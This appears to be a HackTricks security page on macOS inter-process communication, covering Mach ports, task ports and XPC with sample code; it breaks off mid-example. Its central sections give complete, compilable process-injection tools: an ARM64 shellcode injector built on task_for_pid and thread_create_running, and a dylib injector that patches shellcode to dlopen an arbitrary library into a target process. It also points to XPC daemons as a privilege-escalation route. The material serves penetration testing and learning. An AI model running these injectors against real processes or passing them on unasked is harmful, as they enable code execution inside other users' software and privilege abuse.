hacktricks/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication

macOS IPC - Inter Process Communication

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Mach messaging via Ports

Mach uses tasks as the smallest unit for sharing resources, and each task can contain multiple threads. These tasks and threads are mapped 1:1 to POSIX processes and threads.

Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilizing one-way communication channels. Messages are transferred between ports, which act like message queues managed by the kernel.

Port rights, which define what operations a task can perform, are key to this communication. The possible port rights are:

• Receive right, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be one receive right for each port in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe).
  • A task with the Receive right can receive messages and create Send rights, allowing it to send messages. Originally only the own task has Receive right over its port.
• Send right, which allows sending messages to the port.
• Send-once right, which allows sending one message to the port and then disappears.
• Port set right, which denotes a port set rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like select/poll/epoll/kqueue in Unix.
• Dead name, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names.

Tasks can transfer SEND rights to others, enabling them to send messages back. SEND rights can also be cloned, so a task can duplicate and give the right to a third task. This, combined with an intermediary process known as the bootstrap server, allows for effective communication between tasks.

Steps:

As it's mentioned, in order to establish the communication channel, the bootstrap server (launchd in mac) is involved.

1. Task A initiates a new port, obtaining a RECEIVE right in the process.
2. Task A, being the holder of the RECEIVE right, generates a SEND right for the port.
3. Task A establishes a connection with the bootstrap server, providing the port's service name and the SEND right through a procedure known as the bootstrap register.
4. Task B interacts with the bootstrap server to execute a bootstrap lookup for the service name. If successful, the server duplicates the SEND right received from Task A and transmits it to Task B.
5. Upon acquiring a SEND right, Task B is capable of formulating a message and dispatching it to Task A.

The bootstrap server cannot authenticate the service name claimed by a task. This means a task could potentially impersonate any system task, such as falsely claiming an authorization service name and then approving every request.

Then, Apple stores the names of system-provided services in secure configuration files, located in SIP-protected directories: /System/Library/LaunchDaemons and /System/Library/LaunchAgents. Alongside each service name, the associated binary is also stored. The bootstrap server, will create and hold a RECEIVE right for each of these service names.

For these predefined services, the lookup process differs slightly. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows:

• Task B initiates a bootstrap lookup for a service name.
• launchd checks if the task is running and if it isn’t, starts it.
• Task A (the service) performs a bootstrap check-in. Here, the bootstrap server creates a SEND right, retains it, and transfers the RECEIVE right to Task A.
• launchd duplicates the SEND right and sends it to Task B.

However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation.

Code example

Note how the sender allocates a port, create a send right for the name org.darlinghq.example and send it to the bootstrap server while the sender asked for the send right of that name and used it to send a message.

{% tabs %} {% tab title="receiver.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

    // Create a new port.
    mach_port_t port;
    kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (kr != KERN_SUCCESS) {
        printf("mach_port_allocate() failed with code 0x%x\n", kr);
        return 1;
    }
    printf("mach_port_allocate() created port right name %d\n", port);


    // Give us a send right to this port, in addition to the receive right.
    kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS) {
        printf("mach_port_insert_right() failed with code 0x%x\n", kr);
        return 1;
    }
    printf("mach_port_insert_right() inserted a send right\n");


    // Send the send right to the bootstrap server, so that it can be looked up by other processes.
    kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
    if (kr != KERN_SUCCESS) {
        printf("bootstrap_register() failed with code 0x%x\n", kr);
        return 1;
    }
    printf("bootstrap_register()'ed our port\n");


    // Wait for a message.
    struct {
        mach_msg_header_t header;
        char some_text[10];
        int some_number;
        mach_msg_trailer_t trailer;
    } message;

    kr = mach_msg(
        &message.header,  // Same as (mach_msg_header_t *) &message.
        MACH_RCV_MSG,     // Options. We're receiving a message.
        0,                // Size of the message being sent, if sending.
        sizeof(message),  // Size of the buffer for receiving.
        port,             // The port to receive a message on.
        MACH_MSG_TIMEOUT_NONE,
        MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
    );
    if (kr != KERN_SUCCESS) {
        printf("mach_msg() failed with code 0x%x\n", kr);
        return 1;
    }
    printf("Got a message\n");

    message.some_text[9] = 0;
    printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

{% endtab %}

{% tab title="sender.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

    // Lookup the receiver port using the bootstrap server.
    mach_port_t port;
    kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
    if (kr != KERN_SUCCESS) {
        printf("bootstrap_look_up() failed with code 0x%x\n", kr);
        return 1;
    }
    printf("bootstrap_look_up() returned port right name %d\n", port);


    // Construct our message.
    struct {
        mach_msg_header_t header;
        char some_text[10];
        int some_number;
    } message;

    message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
    message.header.msgh_remote_port = port;
    message.header.msgh_local_port = MACH_PORT_NULL;

    strncpy(message.some_text, "Hello", sizeof(message.some_text));
    message.some_number = 35;

    // Send the message.
    kr = mach_msg(
        &message.header,  // Same as (mach_msg_header_t *) &message.
        MACH_SEND_MSG,    // Options. We're sending a message.
        sizeof(message),  // Size of the message being sent.
        0,                // Size of the buffer for receiving.
        MACH_PORT_NULL,   // A port to receive a message on, if receiving.
        MACH_MSG_TIMEOUT_NONE,
        MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
    );
    if (kr != KERN_SUCCESS) {
        printf("mach_msg() failed with code 0x%x\n", kr);
        return 1;
    }
    printf("Sent a message\n");
}

{% endtab %} {% endtabs %}

Privileged Ports

• Host port: If a process has Send privilege over this port he can get information about the system (e.g. host_processor_info).
• Host priv port: A process with Send right over this port can perform privileged actions like loading a kernel extension. The process need to be root to get tis permission.
  • Moreover, in order to call kext_request API it's needed to have the entitlement com.apple.private.kext which is only given to Apple binaries.
• Task name port: An unprivileged version of the task port. It references the task, but does not allow controlling it. The only thing that seems to be available through it is task_info().
• Task port (aka kernel port): With Send permission over this port it's possible to control the task (read/write memory, create threads...).
  • Call mach_task_self() to get the name for this port for the caller task. This port is only inherited across exec(); a new task created with fork() gets a new task port (as a special case, a task also gets a new task port after exec()ing a suid binary). The only way to spawn a task and get its port is to perform the "port swap dance" while doing a fork().
  • These are the restrictions to access the port (from macos_task_policy from the binary AppleMobileFileIntegrity):
    • If the app has com.apple.security.get-task-allow entitlement processes from the same user can access the task port (commonly added by Xcode for debugging). The notarization process won't allow it to production releases.
    • Apps the com.apple.system-task-ports entitlement can get the task port for any process, except the kernel. In older versions it was called task_for_pid-allow. This is only granted to Apple applications.
    • Root can access task ports of applications not compiled with a hardened runtime (and not from Apple).

Shellcode Process Injection via Task port

You can grab a shellcode from:

{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

{% tabs %} {% tab title="mysleep.m" %}

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]);
        [NSThread sleepForTimeInterval:99999];
    }
    return 0;
}

{% endtab %}

{% tab title="entitlements.plist" %}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.get-task-allow</key>
    <true/>
</dict>
</plist>

{% endtab %} {% endtabs %}

Compile the previous program and add the entitlements to be able to inject code with the same user (if not you will need to use sudo).

injector.m

// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>


#ifdef __arm64__

kern_return_t mach_vm_allocate
(
        vm_map_t target,
        mach_vm_address_t *address,
        mach_vm_size_t size,
        int flags
);

kern_return_t mach_vm_write
(
        vm_map_t target_task,
        mach_vm_address_t address,
        vm_offset_t data,
        mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";


int inject(pid_t pid){

    task_t remoteTask;

    // Get access to the task port of the process we want to inject into
    kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
    if (kr != KERN_SUCCESS) {
        fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
        return (-1);
    }
    else{
        printf("Gathered privileges over the task port of process: %d\n", pid);
    }

    // Allocate memory for the stack
    mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
    mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
    kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
    
    if (kr != KERN_SUCCESS)
    {
        fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
        return (-2);
    }
    else
    {

        fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
    }
    
    // Allocate memory for the code
    remoteCode64 = (vm_address_t) NULL;
    kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

    if (kr != KERN_SUCCESS)
    {
        fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
        return (-2);
    }
    

    // Write the shellcode to the allocated memory
    kr = mach_vm_write(remoteTask,                   // Task port
	                   remoteCode64,                 // Virtual Address (Destination)
	                   (vm_address_t) injectedCode,  // Source
	                    0xa9);                       // Length of the source


    if (kr != KERN_SUCCESS)
    {
	fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
	return (-3);
    }


    // Set the permissions on the allocated code memory
    kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

    if (kr != KERN_SUCCESS)
    {
	fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
	return (-4);
    }

    // Set the permissions on the allocated stack memory
    kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
	
    if (kr != KERN_SUCCESS)
    {
	fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
	return (-4);
    }

    // Create thread to run shellcode
    struct arm_unified_thread_state remoteThreadState64;
    thread_act_t         remoteThread;

    memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

    remoteStack64 += (STACK_SIZE / 2); // this is the real stack
        //remoteStack64 -= 8;  // need alignment of 16

    const char* p = (const char*) remoteCode64;

    remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
    remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
    remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
    remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

    printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

    kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
    (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

    if (kr != KERN_SUCCESS) {
        fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
        return (-3);
    }

    return (0);
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        if (argc < 2) {
            NSLog(@"Usage: %s <pid>", argv[0]);
            return 1;
        }

        pid_t pid = atoi(argv[1]);
        inject(pid);
    }

    return 0;
}

gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pid-of-mysleep>

Dylib Process Injection via Task port

In macOS threads might be manipulated via Mach or using posix pthread api. The thread we generated in the previos injection, was generated using Mach api, so it's not posix compliant.

It was possible to inject a simple shellcode to execute a command because it didn't need to work with posix compliant apis, only with Mach. More complex injections would need the thread to be also posix compliant.

Therefore, to improve the shellcode it should call pthread_create_from_mach_thread which will create a valid pthread. Then, this new pthread could call dlopen to load our dylib from the system.

You can find example dylibs in (for example the one that generates a log and then you can listen to it):

{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} macos-dyld-hijacking-and-dyld_insert_libraries.md {% endcontent-ref %}

dylib_injector.m

// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>

#include <sys/stat.h>
#include <pthread.h>


#ifdef __arm64__
//#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
        vm_map_t target,
        mach_vm_address_t *address,
        mach_vm_size_t size,
        int flags
);

kern_return_t mach_vm_write
(
        vm_map_t target_task,
        mach_vm_address_t address,
        vm_offset_t data,
        mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128


char injectedCode[] =

    "\x00\x00\x20\xd4" // BRK X0     ; // useful if you need a break :)

    // Call pthread_set_self

    "\xff\x83\x00\xd1" // SUB SP, SP, #0x20         ; Allocate 32 bytes of space on the stack for local variables
    "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
    "\xFD\x43\x00\x91" // ADD X29, SP, #0x10        ; Set frame pointer to current stack pointer
    "\xff\x43\x00\xd1" // SUB SP, SP, #0x10         ; Space for the 
    "\xE0\x03\x00\x91" // MOV X0, SP                ; (arg0)Store in the stack the thread struct
    "\x01\x00\x80\xd2" // MOVZ X1, 0                ; X1 (arg1) = 0;
    "\xA2\x00\x00\x10" // ADR X2, 0x14              ; (arg2)12bytes from here, Address where the new thread should start
    "\x03\x00\x80\xd2" // MOVZ X3, 0                ; X3 (arg3) = 0;
    "\x68\x01\x00\x58" // LDR X8, #44               ; load address of PTHRDCRT (pthread_create_from_mach_thread)
    "\x00\x01\x3f\xd6" // BLR X8                    ; call pthread_create_from_mach_thread
    "\x00\x00\x00\x14" // loop: b loop              ; loop forever

    // Call dlopen with the path to the library
    "\xC0\x01\x00\x10"  // ADR X0, #56  ; X0 => "LIBLIBLIB...";
    "\x68\x01\x00\x58"  // LDR X8, #44 ; load DLOPEN
    "\x01\x00\x80\xd2"  // MOVZ X1, 0 ; X1 = 0;
    "\x29\x01\x00\x91"  // ADD   x9, x9, 0  - I left this as a nop
    "\x00\x01\x3f\xd6"  // BLR X8     ; do dlopen()
    
    // Call pthread_exit
    "\xA8\x00\x00\x58"  // LDR X8, #20 ; load PTHREADEXT
    "\x00\x00\x80\xd2"  // MOVZ X0, 0 ; X1 = 0;
    "\x00\x01\x3f\xd6"  // BLR X8     ; do pthread_exit
    
    "PTHRDCRT"  // <-
    "PTHRDEXT"  // <-
    "DLOPEN__"  // <- 
    "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" 
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;




int inject(pid_t pid, const char *lib) {

    task_t remoteTask;
    struct stat buf;

    // Check if the library exists
    int rc = stat (lib, &buf);

    if (rc != 0)
    {
        fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
        //return (-9);
    }

    // Get access to the task port of the process we want to inject into
    kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
    if (kr != KERN_SUCCESS) {
        fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
        return (-1);
    }
    else{
        printf("Gathered privileges over the task port of process: %d\n", pid);
    }

    // Allocate memory for the stack
    mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
    mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
    kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
    
    if (kr != KERN_SUCCESS)
    {
        fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
        return (-2);
    }
    else
    {

        fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
    }
    
    // Allocate memory for the code
    remoteCode64 = (vm_address_t) NULL;
    kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

    if (kr != KERN_SUCCESS)
    {
        fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
        return (-2);
    }

 
    // Patch shellcode

    int i = 0;
    char *possiblePatchLocation = (injectedCode );
    for (i = 0 ; i < 0x100; i++)
    {

        // Patching is crude, but works.
        //
        extern void *_pthread_set_self;
        possiblePatchLocation++;

        
        uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
        uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
        uint64_t addrOfDlopen = (uint64_t) dlopen;

        if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
        {
            memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
            printf ("Pthread exit  @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
        }

        if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
        {
            memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
            printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
        }

        if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
        {
            printf ("DLOpen @%llx\n", addrOfDlopen);
            memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
        }

        if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
        {
            strcpy(possiblePatchLocation, lib );
        }
    }

	// Write the shellcode to the allocated memory
    kr = mach_vm_write(remoteTask,                   // Task port
	                   remoteCode64,                 // Virtual Address (Destination)
	                   (vm_address_t) injectedCode,  // Source
	                    0xa9);                       // Length of the source


    if (kr != KERN_SUCCESS)
    {
        fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
        return (-3);
    }


    // Set the permissions on the allocated code memory
    kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

    if (kr != KERN_SUCCESS)
    {
        fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
        return (-4);
    }

    // Set the permissions on the allocated stack memory
    kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
	
    if (kr != KERN_SUCCESS)
    {
        fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
        return (-4);
    }


    // Create thread to run shellcode
    struct arm_unified_thread_state remoteThreadState64;
    thread_act_t         remoteThread;

    memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

    remoteStack64 += (STACK_SIZE / 2); // this is the real stack
        //remoteStack64 -= 8;  // need alignment of 16

    const char* p = (const char*) remoteCode64;

    remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
    remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
    remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
    remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

    printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

    kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
    (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

    if (kr != KERN_SUCCESS) {
        fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
        return (-3);
    }

    return (0);
}



int main(int argc, const char * argv[])
{
    if (argc < 3)
	{
		fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
		fprintf (stderr, "   _action_: path to a dylib on disk\n");
		exit(0);
	}

    pid_t pid = atoi(argv[1]);
    const char *action = argv[2];
    struct stat buf;

    int rc = stat (action, &buf);
    if (rc == 0) inject(pid,action);
    else
    {
        fprintf(stderr,"Dylib not found\n");
    }

}

gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>

XPC

Basic Information

XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for communication between processes on macOS and iOS. XPC provides a mechanism for making safe, asynchronous method calls between different processes on the system. It's a part of Apple's security paradigm, allowing for the creation of privilege-separated applications where each component runs with only the permissions it needs to do its job, thereby limiting the potential damage from a compromised process.

XPC uses a form of Inter-Process Communication (IPC), which is a set of methods for different programs running on the same system to send data back and forth.

The primary benefits of XPC include:

1. Security: By separating work into different processes, each process can be granted only the permissions it needs. This means that even if a process is compromised, it has limited ability to do harm.
2. Stability: XPC helps isolate crashes to the component where they occur. If a process crashes, it can be restarted without affecting the rest of the system.
3. Performance: XPC allows for easy concurrency, as different tasks can be run simultaneously in different processes.

The only drawback is that separating an application is several processes making them communicate via XPC is less efficient. But in todays systems this isn't almost noticeable and the benefits are much better.

An example can be seen in QuickTime Player, where a component using XPC is responsible for video decoding. The component is specifically designed to perform computational tasks, thus, in the event of a breach, it wouldn't provide any useful gains to the attacker, such as access to files or the network.

Application Specific XPC services

The XPC components of an applications are inside the application itself. For example, in Safari you can find them in /Applications/Safari.app/Contents/XPCServices. They have extension .xpc (like com.apple.Safari.SandboxBroker.xpc) and are also bundles with the main binary inside of it: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker

As you might be thinking a XPC component will have different entitlements and privileges than the other XPC components or the main app binary. EXCEPT if an XPC service is configured with JoinExistingSession set to “True” in its Info.plist file. In this case, the XPC service will run in the same security session as the application that called it.

XPC services are started by launchd when required and shut down once all tasks are complete to free system resources. Application-specific XPC components can only be utilized by the application, thereby reducing the risk associated with potential vulnerabilities.

System Wide XPC services

System-wide XPC services are accessible to all users. These services, either launchd or Mach-type, need to be defined in plist files located in specified directories such as /System/Library/LaunchDaemons, /Library/LaunchDaemons, /System/Library/LaunchAgents, or /Library/LaunchAgents.

These plists files will have a key called MachServices with the name of the service, and a key called Program with the path to the binary:

cat /Library/LaunchDaemons/com.jamf.management.daemon.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Program</key>
	<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
	<key>AbandonProcessGroup</key>
	<true/>
	<key>KeepAlive</key>
	<true/>
	<key>Label</key>
	<string>com.jamf.management.daemon</string>
	<key>MachServices</key>
	<dict>
		<key>com.jamf.management.daemon.aad</key>
		<true/>
		<key>com.jamf.management.daemon.agent</key>
		<true/>
		<key>com.jamf.management.daemon.binary</key>
		<true/>
		<key>com.jamf.management.daemon.selfservice</key>
		<true/>
		<key>com.jamf.management.daemon.service</key>
		<true/>
	</dict>
	<key>RunAtLoad</key>
	<true/>
</dict>
</plist>

The ones in LaunchDameons are run by root. So if an unprivileged process can talk with one of these it could be able to escalate privileges.

XPC Event Messages

Applications can subscribe to different event messages, enabling them to be initiated on-demand when such events happen. The setup for these services is done in launchd plist files, located in the same directories as the previous ones and containing an extra LaunchEvent key.

XPC Connecting Process Check

When a process tries to call a method from via an XPC connection, the XPC service should check if that process is allowed to connect. Here are the common ways to check that and the common pitfalls:

{% content-ref url="macos-xpc-connecting-process-check.md" %} macos-xpc-connecting-process-check.md {% endcontent-ref %}

XPC Authorization

Apple also allows apps to configure some rights and how to get them so if the calling process have them it would be allowed to call a method from the XPC service:

{% content-ref url="macos-xpc-authorization.md" %} macos-xpc-authorization.md {% endcontent-ref %}

C Code Example

{% tabs %} {% tab title="xpc_server.c" %}

// gcc xpc_server.c -o xpc_server

#include <xpc/xpc.h>

static void handle_event(xpc_object_t event) {
    if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
        // Print received message
        const char* received_message = xpc_dictionary_get_string(event, "message");
        printf("Received message: %s\n", received_message);

        // Create a response dictionary
        xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
        xpc_dictionary_set_string(response, "received", "received");

        // Send response
        xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
        xpc_connection_send_message(remote, response);

        // Clean up
        xpc_release(response);
    }
}

static void handle_connection(xpc_connection_t connection) {
    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
        handle_event(event);
    });
    xpc_connection_resume(connection);
}

int main(int argc, const char *argv[]) {
    xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
                                                                   dispatch_get_main_queue(),
                                                                   XPC_CONNECTION_MACH_SERVICE_LISTENER);
    if (!service) {
        fprintf(stderr, "Failed to create service.\n");
        exit(EXIT_FAILURE);
    }

    xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
        xpc_type_t type = xpc_get_type(event);
        if (type == XPC_TYPE_CONNECTION) {
            handle_connection(event);
        }
    });

    xpc_connection_resume(service);
    dispatch_main();

    return 0;
}

{% endtab %}

{% tab title="xpc_client.c" %}

// gcc xpc_client.c -o xpc_client

#include <xpc/xpc.h>

int main(int argc, const char *argv[]) {
    xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
        if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
            // Print received message
            const char* received_message = xpc_dictionary_get_string(event, "received");
            printf("Received message: %s\n", received_message);
        }
    });

    xpc_connection_resume(connection);

    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_string(message, "message", "Hello, Server!");

    xpc_connection_send_message(connection, message);

    dispatch_main();
    
    return 0;
}

{% endtab %}

{% tab title="xyz.hacktricks.service.plist" %}

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.service</string>
<key>MachServices</key>
    <dict>
        <key>xyz.hacktricks.service</key>
        <true/>
    </dict>
<key>Program</key>
    <string>/tmp/xpc_server</string>
    <key>ProgramArguments</key>
    <array>
        <string>/tmp/xpc_server</string>
    </array>
</dict>
</plist>

{% endtab %} {% endtabs %}

# Compile the server & client
gcc xpc_server.c -o xpc_server
gcc xpc_client.c -o xpc_client

# Save server on it's location
cp xpc_server /tmp

# Load daemon
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist

# Call client
./xpc_client

# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server

ObjectiveC Code Example

{% tabs %} {% tab title="oc_xpc_server.m" %}

// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include <Foundation/Foundation.h>

@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end

@interface MyXPCObject : NSObject <MyXPCProtocol>
@end


@implementation MyXPCObject
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
    NSLog(@"Received message: %@", some_string);
    NSString *response = @"Received";
    reply(response);
}
@end

@interface MyDelegate : NSObject <NSXPCListenerDelegate>
@end


@implementation MyDelegate

